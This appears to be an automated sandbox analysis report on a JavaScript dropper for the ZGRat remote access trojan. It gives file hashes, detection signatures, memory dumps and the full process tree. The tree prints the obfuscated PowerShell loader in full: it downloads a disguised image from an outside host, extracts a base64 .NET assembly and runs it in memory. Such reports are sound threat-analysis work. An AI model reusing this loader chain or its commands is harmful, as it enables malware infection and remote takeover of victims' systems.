zgrat | 8e792471355b42e56a05e58ef2cb62f2572bda8db9740ae8526c99e3db41078b

General

Target

debitar_diarias.js
Size

464KB
MD5

552b4a922bbef46373dd3042c7b6a6c7
SHA1

9cf93f1b3b5c39f46ed62183fc73ff0f80700c23
SHA256

8e792471355b42e56a05e58ef2cb62f2572bda8db9740ae8526c99e3db41078b
SHA512

4cd0c9bda90fdf00d6b373e0a1015169413de69f3a9d25c00d2bef71b0f36e053335be08958729355042c5e598477e9a812ed511edfdd937fffa1aa59c22192f
SSDEEP

768:7W77777977777977777977777s7777797777797777797777797777797777797N:7lSRHnlL1Gsu

Score

10^/10

zgrat rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://uploaddeimagens.com.br/images/004/611/936/original/new_image_rump_js.jpg?1695057372

exe.dropper

https://uploaddeimagens.com.br/images/004/611/936/original/new_image_rump_js.jpg?1695057372

Signatures

Detect ZGRat V1 1 IoCs

resource	yara_rule
behavioral1/memory/2908-97-0x000000001D170000-0x000000001D490000-memory.dmp	family_zgrat_v1

ZGRat
ZGRat is remote access trojan written in C#.
rat zgrat

Blocklisted process makes network request 3 IoCs

flow	pid	Process
5	2908	powershell.exe
7	2908	powershell.exe
9	2908	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2432	powershell.exe
2908	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2432	powershell.exe
Token: SeDebugPrivilege	2908	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1304 wrote to memory of 2432	1304	wscript.exe	28
PID 1304 wrote to memory of 2432	1304	wscript.exe	28
PID 1304 wrote to memory of 2432	1304	wscript.exe	28
PID 2432 wrote to memory of 2908	2432	powershell.exe	30
PID 2432 wrote to memory of 2908	2432	powershell.exe	30
PID 2432 wrote to memory of 2908	2432	powershell.exe	30

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\debitar_diarias.js
1⤵
- Suspicious use of WriteProcessMemory
PID:1304
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = 'J░░░Bp░░░G0░░░YQBn░░░GU░░░VQBy░░░Gw░░░I░░░░░░9░░░C░░░░░░JwBo░░░HQ░░░d░░░Bw░░░HM░░░Og░░░v░░░C8░░░dQBw░░░Gw░░░bwBh░░░GQ░░░Z░░░Bl░░░Gk░░░bQBh░░░Gc░░░ZQBu░░░HM░░░LgBj░░░G8░░░bQ░░░u░░░GI░░░cg░░░v░░░Gk░░░bQBh░░░Gc░░░ZQBz░░░C8░░░M░░░░░░w░░░DQ░░░Lw░░░2░░░DE░░░MQ░░░v░░░Dk░░░Mw░░░2░░░C8░░░bwBy░░░Gk░░░ZwBp░░░G4░░░YQBs░░░C8░░░bgBl░░░Hc░░░XwBp░░░G0░░░YQBn░░░GU░░░XwBy░░░HU░░░bQBw░░░F8░░░agBz░░░C4░░░agBw░░░Gc░░░Pw░░░x░░░DY░░░OQ░░░1░░░D░░░░░░NQ░░░3░░░DM░░░Nw░░░y░░░Cc░░░Ow░░░k░░░Hc░░░ZQBi░░░EM░░░b░░░Bp░░░GU░░░bgB0░░░C░░░░░░PQ░░░g░░░E4░░░ZQB3░░░C0░░░TwBi░░░Go░░░ZQBj░░░HQ░░░I░░░BT░░░Hk░░░cwB0░░░GU░░░bQ░░░u░░░E4░░░ZQB0░░░C4░░░VwBl░░░GI░░░QwBs░░░Gk░░░ZQBu░░░HQ░░░Ow░░░k░░░Gk░░░bQBh░░░Gc░░░ZQBC░░░Hk░░░d░░░Bl░░░HM░░░I░░░░░░9░░░C░░░░░░J░░░B3░░░GU░░░YgBD░░░Gw░░░aQBl░░░G4░░░d░░░░░░u░░░EQ░░░bwB3░░░G4░░░b░░░Bv░░░GE░░░Z░░░BE░░░GE░░░d░░░Bh░░░Cg░░░J░░░Bp░░░G0░░░YQBn░░░GU░░░VQBy░░░Gw░░░KQ░░░7░░░CQ░░░aQBt░░░GE░░░ZwBl░░░FQ░░░ZQB4░░░HQ░░░I░░░░░░9░░░C░░░░░░WwBT░░░Hk░░░cwB0░░░GU░░░bQ░░░u░░░FQ░░░ZQB4░░░HQ░░░LgBF░░░G4░░░YwBv░░░GQ░░░aQBu░░░Gc░░░XQ░░░6░░░Do░░░VQBU░░░EY░░░O░░░░░░u░░░Ec░░░ZQB0░░░FM░░░d░░░By░░░Gk░░░bgBn░░░Cg░░░J░░░Bp░░░G0░░░YQBn░░░GU░░░QgB5░░░HQ░░░ZQBz░░░Ck░░░Ow░░░k░░░HM░░░d░░░Bh░░░HI░░░d░░░BG░░░Gw░░░YQBn░░░C░░░░░░PQ░░░g░░░Cc░░░P░░░░░░8░░░EI░░░QQBT░░░EU░░░Ng░░░0░░░F8░░░UwBU░░░EE░░░UgBU░░░D4░░░Pg░░░n░░░Ds░░░J░░░Bl░░░G4░░░Z░░░BG░░░Gw░░░YQBn░░░C░░░░░░PQ░░░g░░░Cc░░░P░░░░░░8░░░EI░░░QQBT░░░EU░░░Ng░░░0░░░F8░░░RQBO░░░EQ░░░Pg░░░+░░░Cc░░░Ow░░░k░░░HM░░░d░░░Bh░░░HI░░░d░░░BJ░░░G4░░░Z░░░Bl░░░Hg░░░I░░░░░░9░░░C░░░░░░J░░░Bp░░░G0░░░YQBn░░░GU░░░V░░░Bl░░░Hg░░░d░░░░░░u░░░Ek░░░bgBk░░░GU░░░e░░░BP░░░GY░░░K░░░░░░k░░░HM░░░d░░░Bh░░░HI░░░d░░░BG░░░Gw░░░YQBn░░░Ck░░░Ow░░░k░░░GU░░░bgBk░░░Ek░░░bgBk░░░GU░░░e░░░░░░g░░░D0░░░I░░░░░░k░░░Gk░░░bQBh░░░Gc░░░ZQBU░░░GU░░░e░░░B0░░░C4░░░SQBu░░░GQ░░░ZQB4░░░E8░░░Zg░░░o░░░CQ░░░ZQBu░░░GQ░░░RgBs░░░GE░░░Zw░░░p░░░Ds░░░J░░░Bz░░░HQ░░░YQBy░░░HQ░░░SQBu░░░GQ░░░ZQB4░░░C░░░░░░LQBn░░░GU░░░I░░░░░░w░░░C░░░░░░LQBh░░░G4░░░Z░░░░░░g░░░CQ░░░ZQBu░░░GQ░░░SQBu░░░GQ░░░ZQB4░░░C░░░░░░LQBn░░░HQ░░░I░░░░░░k░░░HM░░░d░░░Bh░░░HI░░░d░░░BJ░░░G4░░░Z░░░Bl░░░Hg░░░Ow░░░k░░░HM░░░d░░░Bh░░░HI░░░d░░░BJ░░░G4░░░Z░░░Bl░░░Hg░░░I░░░░░░r░░░D0░░░I░░░░░░k░░░HM░░░d░░░Bh░░░HI░░░d░░░BG░░░Gw░░░YQBn░░░C4░░░T░░░Bl░░░G4░░░ZwB0░░░Gg░░░Ow░░░k░░░GI░░░YQBz░░░GU░░░Ng░░░0░░░Ew░░░ZQBu░░░Gc░░░d░░░Bo░░░C░░░░░░PQ░░░g░░░CQ░░░ZQBu░░░GQ░░░SQBu░░░GQ░░░ZQB4░░░C░░░░░░LQ░░░g░░░CQ░░░cwB0░░░GE░░░cgB0░░░Ek░░░bgBk░░░GU░░░e░░░░░░7░░░CQ░░░YgBh░░░HM░░░ZQ░░░2░░░DQ░░░QwBv░░░G0░░░bQBh░░░G4░░░Z░░░░░░g░░░D0░░░I░░░░░░k░░░Gk░░░bQBh░░░Gc░░░ZQBU░░░GU░░░e░░░B0░░░C4░░░UwB1░░░GI░░░cwB0░░░HI░░░aQBu░░░Gc░░░K░░░░░░k░░░HM░░░d░░░Bh░░░HI░░░d░░░BJ░░░G4░░░Z░░░Bl░░░Hg░░░L░░░░░░g░░░CQ░░░YgBh░░░HM░░░ZQ░░░2░░░DQ░░░T░░░Bl░░░G4░░░ZwB0░░░Gg░░░KQ░░░7░░░CQ░░░YwBv░░░G0░░░bQBh░░░G4░░░Z░░░BC░░░Hk░░░d░░░Bl░░░HM░░░I░░░░░░9░░░C░░░░░░WwBT░░░Hk░░░cwB0░░░GU░░░bQ░░░u░░░EM░░░bwBu░░░HY░░░ZQBy░░░HQ░░░XQ░░░6░░░Do░░░RgBy░░░G8░░░bQBC░░░GE░░░cwBl░░░DY░░░N░░░BT░░░HQ░░░cgBp░░░G4░░░Zw░░░o░░░CQ░░░YgBh░░░HM░░░ZQ░░░2░░░DQ░░░QwBv░░░G0░░░bQBh░░░G4░░░Z░░░░░░p░░░Ds░░░J░░░Bs░░░G8░░░YQBk░░░GU░░░Z░░░BB░░░HM░░░cwBl░░░G0░░░YgBs░░░Hk░░░I░░░░░░9░░░C░░░░░░WwBT░░░Hk░░░cwB0░░░GU░░░bQ░░░u░░░FI░░░ZQBm░░░Gw░░░ZQBj░░░HQ░░░aQBv░░░G4░░░LgBB░░░HM░░░cwBl░░░G0░░░YgBs░░░Hk░░░XQ░░░6░░░Do░░░T░░░Bv░░░GE░░░Z░░░░░░o░░░CQ░░░YwBv░░░G0░░░bQBh░░░G4░░░Z░░░BC░░░Hk░░░d░░░Bl░░░HM░░░KQ░░░7░░░CQ░░░d░░░B5░░░H░░░░░░ZQ░░░g░░░D0░░░I░░░░░░k░░░Gw░░░bwBh░░░GQ░░░ZQBk░░░EE░░░cwBz░░░GU░░░bQBi░░░Gw░░░eQ░░░u░░░Ec░░░ZQB0░░░FQ░░░eQBw░░░GU░░░K░░░░░░n░░░EY░░░aQBi░░░GU░░░cg░░░u░░░Eg░░░bwBt░░░GU░░░Jw░░░p░░░Ds░░░J░░░Bt░░░GU░░░d░░░Bo░░░G8░░░Z░░░░░░g░░░D0░░░I░░░░░░k░░░HQ░░░eQBw░░░GU░░░LgBH░░░GU░░░d░░░BN░░░GU░░░d░░░Bo░░░G8░░░Z░░░░░░o░░░Cc░░░VgBB░░░Ek░░░Jw░░░p░░░C4░░░SQBu░░░HY░░░bwBr░░░GU░░░K░░░░░░k░░░G4░░░dQBs░░░Gw░░░L░░░░░░g░░░Fs░░░bwBi░░░Go░░░ZQBj░░░HQ░░░WwBd░░░F0░░░I░░░░░░o░░░Cc░░░d░░░B4░░░HQ░░░LgB0░░░HQ░░░LwB0░░░HQ░░░Lw░░░y░░░C4░░░Mw░░░1░░░DE░░░Lg░░░y░░░Dg░░░Lg░░░w░░░DQ░░░Lw░░░v░░░Do░░░c░░░B0░░░HQ░░░a░░░░░░n░░░C░░░░░░L░░░░░░g░░░Cc░░░bQBl░░░HI░░░Z░░░Bh░░░GE░░░YQBh░░░GE░░░YQ░░░n░░░Ck░░░KQ░░░=';$OWjuxd = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($codigo.replace('░░░','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxd"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2432
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/611/936/original/new_image_rump_js.jpg?1695057372';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.tt/tt/2.351.28.04//:ptth' , 'merdaaaaaa'))"
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2908

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
304B

MD5
35d95bbc41212895f108fb250151413d

SHA1
072bdd50378c11a00548489a209860aa65c8a933

SHA256
c1da2c0655cd1cdcedd38b3f7228d308a96d3596bc94a17b1261865d30316c68

SHA512
809c16a536ae9ed6171030e15ba557e5867eddeec648319c6e4acd1866324117314a853e09745419e436be4825fb1557b662b8795bc84ee1e55a3b1d104fdd1f

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cab8900.tmp

Filesize
61KB

MD5
f3441b8572aae8801c04f3060b550443

SHA1
4ef0a35436125d6821831ef36c28ffaf196cda15

SHA256
6720349e7d82ee0a8e73920d3c2b7cb2912d9fcf2edb6fd98f2f12820158b0bf

SHA512
5ba01ba421b50030e380ae6bbcd2f681f2a91947fe7fedb3c8e6b5f24dce9517abf57b1cf26cc6078d4bb53bde6fcfb2561591337c841f8f2cb121a3d71661b9

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar89BE.tmp

Filesize
163KB

MD5
9441737383d21192400eca82fda910ec

SHA1
725e0d606a4fc9ba44aa8ffde65bed15e65367e4

SHA256
bc3a6e84e41faeb57e7c21aa3b60c2a64777107009727c5b7c0ed8fe658909e5

SHA512
7608dd653a66cd364392a78d4711b48d1707768d36996e4d38871c6843b5714e1d7da4b4cc6db969e6000cfa182bcb74216ef6823d1063f036fc5c3413fb8dcf

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\5450CGNI4XNUR4ZKO34S.temp

Filesize
7KB

MD5
7bc494b5f1908e733a5d57c17a8b9cc4

SHA1
6912dbbc2fce4465f492d0f7698277f2e44115a1

SHA256
df4ce479db2edcd0446532407f97c24c59ce4986ad6c0d2ac7aebeaafa9f5093

SHA512
474c0bdc7dcc3341da43b1051575b4ecd657fcb8bc6a05f1a6240a078a71deb4c7d4dc4d717c3eb5f92da3cad61ecb80442ebb17e47a7b3be190df62980df246

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
7bc494b5f1908e733a5d57c17a8b9cc4

SHA1
6912dbbc2fce4465f492d0f7698277f2e44115a1

SHA256
df4ce479db2edcd0446532407f97c24c59ce4986ad6c0d2ac7aebeaafa9f5093

SHA512
474c0bdc7dcc3341da43b1051575b4ecd657fcb8bc6a05f1a6240a078a71deb4c7d4dc4d717c3eb5f92da3cad61ecb80442ebb17e47a7b3be190df62980df246

Download Submit
memory/2432-10-0x000007FEF5F30000-0x000007FEF68CD000-memory.dmp

Filesize
9.6MB

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memory/2432-96-0x00000000026D0000-0x0000000002750000-memory.dmp

Filesize
512KB

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memory/2432-11-0x00000000026D0000-0x0000000002750000-memory.dmp

Filesize
512KB

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memory/2432-8-0x00000000026D0000-0x0000000002750000-memory.dmp

Filesize
512KB

Download
memory/2432-9-0x00000000026D0000-0x0000000002750000-memory.dmp

Filesize
512KB

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memory/2432-101-0x000007FEF5F30000-0x000007FEF68CD000-memory.dmp

Filesize
9.6MB

Download
memory/2432-100-0x00000000026D0000-0x0000000002750000-memory.dmp

Filesize
512KB

Download
memory/2432-98-0x00000000026D0000-0x0000000002750000-memory.dmp

Filesize
512KB

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memory/2432-4-0x000000001B2E0000-0x000000001B5C2000-memory.dmp

Filesize
2.9MB

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memory/2432-95-0x00000000026D0000-0x0000000002750000-memory.dmp

Filesize
512KB

Download
memory/2432-5-0x0000000002490000-0x0000000002498000-memory.dmp

Filesize
32KB

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memory/2432-23-0x000007FEF5F30000-0x000007FEF68CD000-memory.dmp

Filesize
9.6MB

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memory/2432-7-0x00000000026D0000-0x0000000002750000-memory.dmp

Filesize
512KB

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memory/2432-6-0x000007FEF5F30000-0x000007FEF68CD000-memory.dmp

Filesize
9.6MB

Download
memory/2908-22-0x0000000002A10000-0x0000000002A90000-memory.dmp

Filesize
512KB

Download
memory/2908-21-0x0000000002A10000-0x0000000002A90000-memory.dmp

Filesize
512KB

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memory/2908-20-0x000007FEF5F30000-0x000007FEF68CD000-memory.dmp

Filesize
9.6MB

Download
memory/2908-19-0x0000000002A10000-0x0000000002A90000-memory.dmp

Filesize
512KB

Download
memory/2908-97-0x000000001D170000-0x000000001D490000-memory.dmp

Filesize
3.1MB

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memory/2908-99-0x000007FEF5F30000-0x000007FEF68CD000-memory.dmp

Filesize
9.6MB

Download
memory/2908-18-0x0000000002A10000-0x0000000002A90000-memory.dmp

Filesize
512KB

Download
memory/2908-17-0x000007FEF5F30000-0x000007FEF68CD000-memory.dmp

Filesize
9.6MB

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